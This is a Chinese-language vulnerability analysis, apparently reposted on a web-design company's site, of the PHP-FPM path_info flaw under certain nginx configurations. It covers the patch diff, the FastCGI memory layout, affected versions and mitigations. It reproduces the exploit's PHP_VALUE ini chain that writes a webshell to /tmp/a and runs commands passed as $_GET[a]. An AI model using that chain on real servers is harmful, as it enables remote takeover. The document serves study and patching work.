本篇內(nèi)容主要講解“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學(xué)習(xí)“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”吧!
10年積累的網(wǎng)站設(shè)計、做網(wǎng)站經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認識你,你也不認識我。但先網(wǎng)站策劃后付款的網(wǎng)站建設(shè)流程,更有雙遼免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
PHP-FPM在Nginx特定配置下存在任意代碼執(zhí)行漏洞。具體為:
使用Nginx + PHP-FPM搭建的服務(wù)器在使用類似如下配置的nginx.conf時:
1 location ~ [^/]\.php(/|$) { 2 fastcgi_split_path_info ^(.+?\.php)(/.*)$; 3 fastcgi_param PATH_INFO $fastcgi_path_info; 4 fastcgi_pass php:9000; 5 ...
Nginx中fastcgi_split_path_info
在處理存在"\n"(%oA) 的path_info時,會將傳遞給PHP-FPM的PATH_INFO置為空(PATH_INFO=""
),影響關(guān)鍵指針的指向,導(dǎo)致后續(xù)path_info[0]=0
的置零操作位置可控,通過構(gòu)造特定長度和內(nèi)容的請求,可以覆蓋寫特定位置數(shù)據(jù),插入特定環(huán)境變量,進而導(dǎo)致代碼執(zhí)行。
首先,分析其補?。涸谶M行request_info
結(jié)構(gòu)體初始化的static void init_request_info(void)
函數(shù)中,增添對pilen 和slen的大小校驗,規(guī)避了指針的非預(yù)期回溯移動。
1 // php-src/sapi/fpm/fpm/fpm_main.c 2 ... 3 if (pt) { 4 while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { 5 // 對傳入PATH_INFO 進行校驗。通過判斷文件狀態(tài),獲取真實PATH_INFO 6 *ptr = 0; 7 f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { 8 int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH 9 int slen = len - ptlen; //script length 10 int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 長度 0 11 int tflag = 0; 12 char *path_info; 13 14 if (apache_was_here) { 15 /* recall that PATH_INFO won't exist */ 16 path_info = script_path_translated + ptlen; 17 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); 18 } else { 19 - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 通過偏移設(shè)置新env_path_info,但是未對偏移量做校驗 20 - tflag = (orig_path_info != path_info); 21 + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; 22 + tflag = path_info && (orig_path_info != path_info); 23 } 24 25 if (tflag) { 26 if (orig_path_info) { 27 char old; 28 29 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); 30 old = path_info[0]; 31 path_info[0] = 0; //置零操作 32 if (!orig_script_name || 33 strcmp(orig_script_name, env_path_info) != 0) { 34 if (orig_script_name) { 35 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//觸發(fā)入口 36 } 37 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); 38 } else { 39 SG(request_info).request_uri = orig_script_name; 40 } 41 path_info[0] = old; 42 } 43 ...
其中
1 //以http://localhost/info.php/test?a=b為例 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/info.php/test 4 SCRIPT_NAME=/info.php 5 REQUEST_URI=/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test" 10 len = script_path_translated_len // 為"/docroot/info.php/test" 11 12 // 經(jīng)過重新計算處理后 13 int ptlen = strlen(pt); // strlen("/docroot/info.php") 14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" 15 int slen = len - ptlen; // len("/test") 16 17 path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移為0 或 -N
可見,當(dāng)PATH_INFO為空時,path_info 指向發(fā)生向前偏移,偏移長度為test
的長度。進而path_info[0] = 0;
可以將特定位置 單字節(jié)置零。但是,普通位置的置零并不會造成RCE,進一步利用需要將特定控制位置零,且該控制位恰巧能控制寫入位置。request->env->data->pos
便是這樣一處位置。這里需要說明一下各變量的存儲方式。
通過fastcgi協(xié)議傳入的各環(huán)境變量會存儲到_fcgi_request->env 這個fcgi_hash結(jié)構(gòu)體中,供后續(xù)執(zhí)行取用,結(jié)構(gòu)具體定義如下:
1 // php-src/sapi/fpm/fpm/fastcgi.c 2 typedef struct _fcgi_hash_bucket { 3 unsigned int hash_value; 4 unsigned int var_len; 5 char *var; 6 unsigned int val_len; 7 char *val; 8 struct _fcgi_hash_bucket *next; 9 struct _fcgi_hash_bucket *list_next; 10 } fcgi_hash_bucket; 11 12 typedef struct _fcgi_hash_buckets { 13 unsigned int idx; 14 struct _fcgi_hash_buckets *next; 15 struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; 16 } fcgi_hash_buckets; 17 18 typedef struct _fcgi_data_seg { 19 char *pos; 20 char *end; 21 struct _fcgi_data_seg *next; 22 char data[1]; 23 } fcgi_data_seg; 24 25 typedef struct _fcgi_hash { 26 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; 27 fcgi_hash_bucket *list; 28 fcgi_hash_buckets *buckets; 29 fcgi_data_seg *data; 30 } fcgi_hash; 31 ... 32 /* hash table */ 33 //初始化操作 34 static void fcgi_hash_init(fcgi_hash *h) 35 { 36 memset(h->hash_table, 0, sizeof(h->hash_table)); 37 h->list = NULL; 38 h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 39 h->buckets->idx = 0; 40 h->buckets->next = NULL; 41 h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默認分配 (4*8 - 1) + 4096 42 h->data->pos = h->data->data; //指向環(huán)境變量初始寫入位置 43 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾 44 h->data->next = NULL; 45 } 46 ...
其中我們主要關(guān)注其中的get/set操作,實現(xiàn)如下:
1 static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) 2 // 關(guān)聯(lián) FCGI_GETENV() 3 { 4 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; 5 fcgi_hash_bucket *p = h->hash_table[idx]; 6 7 while (p != NULL) { 8 //需要hast_value值相同,var_len相同才能取出值 9 if (p->hash_value == hash_value && 10 p->var_len == var_len && 11 memcmp(p->var, var, var_len) == 0) { 12 *val_len = p->val_len; 13 return p->val; 14 } 15 p = p->next; 16 } 17 return NULL; 18 } 19 20 static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) 21 // 關(guān)聯(lián) FCGI_PUTENV() 22 { 23 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 計算hash_value確定 index 24 fcgi_hash_bucket *p = h->hash_table[idx]; //獲取原有hash_table中的對應(yīng)值 25 26 while (UNEXPECTED(p != NULL)) { 27 if (UNEXPECTED(p->hash_value == hash_value) && 28 p->var_len == var_len && 29 memcmp(p->var, var, var_len) == 0) { 30 31 p->val_len = val_len; 32 p->val = fcgi_hash_strndup(h, val, val_len); 33 return p->val; 34 } 35 p = p->next; 36 } 37 38 if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { 39 fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 40 b->idx = 0; 41 b->next = h->buckets; 42 h->buckets = b; 43 } 44 45 p = h->buckets->data + h->buckets->idx; 46 h->buckets->idx++; 47 p->next = h->hash_table[idx]; 48 h->hash_table[idx] = p; 49 p->list_next = h->list; 50 h->list = p; 51 52 p->hash_value = hash_value; 53 p->var_len = var_len; 54 p->var = fcgi_hash_strndup(h, var, var_len); 55 p->val_len = val_len; 56 p->val = fcgi_hash_strndup(h, val, val_len); 57 return p->val; 58 } 59 60 static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) 61 // 實際操作request->env->data,進行數(shù)據(jù)寫入。 62 { 63 char *ret; 64 65 if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { 66 //如果準備寫入的數(shù)據(jù)長度大于當(dāng)前指向的fcgi_hash_seg大小,則向前插入新的fcgi_hash_seg 67 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//較長值,不跨越兩個seg進行寫入。 68 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); 69 p->pos = p->data; 70 p->end = p->pos + seg_size; 71 p->next = h->data; 72 h->data = p; 73 } 74 75 ret = h->data->pos; 76 memcpy(ret, str, str_len); //于h->data->pos后寫入數(shù)據(jù) 77 ret[str_len] = 0; 78 h->data->pos += str_len + 1; //后移h->data->pos到新的可寫入位置 79 return ret; 80 }
由此,我們可以得出:request->env->data->pos
的指向直接影響我們環(huán)境變量Key,Value的寫入位置,只要我們控制了char* pos
的指向,就可能覆蓋已有的數(shù)據(jù)。但是,要想達成RCE還存在以下要求及限制:
指針前移受當(dāng)前fcgi_hash_seg空間結(jié)構(gòu)影響,過短無法將char* pos
置零,過長會分配到新fcgi_hash_seg空間。(如傳遞"形如"http://127.0.0.1/Somefile_exits/AAAAA.php/"也可造成指針后移,)
path_info[0] = 0
僅能將單字節(jié)置零,最好為最低位,否則會造成指針位置偏離過多。
鑒于條件 2 被覆蓋寫的地址最低位應(yīng)為0,且其后為符合條件的可覆蓋的環(huán)境變量。
被覆蓋位置環(huán)境變量的key必須與預(yù)期寫入的key滿足:var、hash_value和var_len均相同,才可能被讀取。
執(zhí)行FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
時,分別寫入ORIG_SCRIPT_NAME
、orig_script_name
("ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA")。
相應(yīng)地,我們可以:
通過控制query_string的長度,使path_info恰好處于新fcgi_hash_seg的data首位,這時我們僅需移動8+8+8+len("PATH_INFO\0")+N = 34 + N
即可完成對char* pos
的篡改。滿足條件1,2的要求。
通過自定義http header
,操縱request header
的長度將預(yù)期覆蓋的環(huán)境變量放置到特定的位置(0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/"))。滿足條件3,5要求。(在NGINX中,HTTP中的請求頭會以"HTTP_XXX"的形式傳入PHP-FPM,隨后寫入到request-env
中)
Exp作者提供了EBUT
這個自定義頭,其env變量名HTTP_EBUT
與PHP_VALUE
在長度和hash_value方面相等,且PHP_VALUE
會在后續(xù)處理中被嘗試讀取(ini = FCGI_GETENV(request, "PHP_VALUE");
)。滿足條件4的要求。
除此之外,鑒于PATH_INFO重新取值部分邏輯主要是處理PATH_INFO與真實path_info不同的情況,對開頭提及的nginx配置項,存在一種情況,發(fā)起形如http://localhost/index/info.php/test?a=b
的url,可以構(gòu)造以下場景
1 //以http://localhost/index/info.php/test?a=b為例,index為存在的文件 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/index/info.php/test 4 SCRIPT_NAME=/index/info.php 5 REQUEST_URI=/index/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/index/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test" 10 len = script_path_translated_len // 為"/docroot/index/info.php/test" 11 12 // 經(jīng)過重新計算處理后 13 int ptlen = strlen(pt); // strlen("/docroot/index") 14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test" 15 int slen = len - ptlen; // len("/info.php/test ") 16 17 path_info = env_path_info + pilen - slen; // pilen < slen, 即偏移為-N
此時URL中無需存在%0A
,亦可完成指針移位,漏洞過程與上述類似,但是因為script_name無效,無法直觀顯示攻擊狀態(tài),利用難度較高,不再贅述。
path_info指向了request->env->data->pos后的內(nèi)存布局
Exp作者利用PHP_VALUE
向PHP傳遞多個環(huán)境變量,使PHP產(chǎn)生錯誤,以錯誤日志的形式將webshell輸出到/tmp/a,并通過auto_prepend_file自動執(zhí)行/tmp/a中的惡意代碼,達成getshell。
1 var chain = []string{ 2 "short_open_tag=1", //開啟php短標簽 3 "html_errors=0", // 在錯誤信息中關(guān)閉HTML標簽。 4 "include_path=/tmp", //包含路徑 5 "auto_prepend_file=a", //指定腳本執(zhí)行前自動包含的文件,功能類似require()。 6 "log_errors=1", //使能錯誤日志 7 "error_reporting=2", //指定錯誤級別 8 "error_log=/tmp/a", //錯誤日志記錄文件 9 "extension_dir=\"<?=\`\"", //指定extension的加載目錄 10 "extension=\"$_GET[a]\`?>\"", //指定加載的extension 11 }
在文初提到的配置下,該漏洞影響以下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
可以通過 Nginx 增添配置try_files %uri = 404
php設(shè)置cgi.fix_pathinfo=0
選項,臨時規(guī)避漏洞影響。也可以選擇使用官方已經(jīng)釋出的更新進行完全修復(fù)。
到此,相信大家對“PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析”有了更深的了解,不妨來實際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進入相關(guān)頻道進行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!
新聞標題:PHP-FPM在Nginx特定配置下任意代碼執(zhí)行漏洞舉例分析
網(wǎng)頁URL:http://aaarwkj.com/article26/peiijg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供動態(tài)網(wǎng)站、品牌網(wǎng)站制作、網(wǎng)站制作、小程序開發(fā)、網(wǎng)站設(shè)計、響應(yīng)式網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)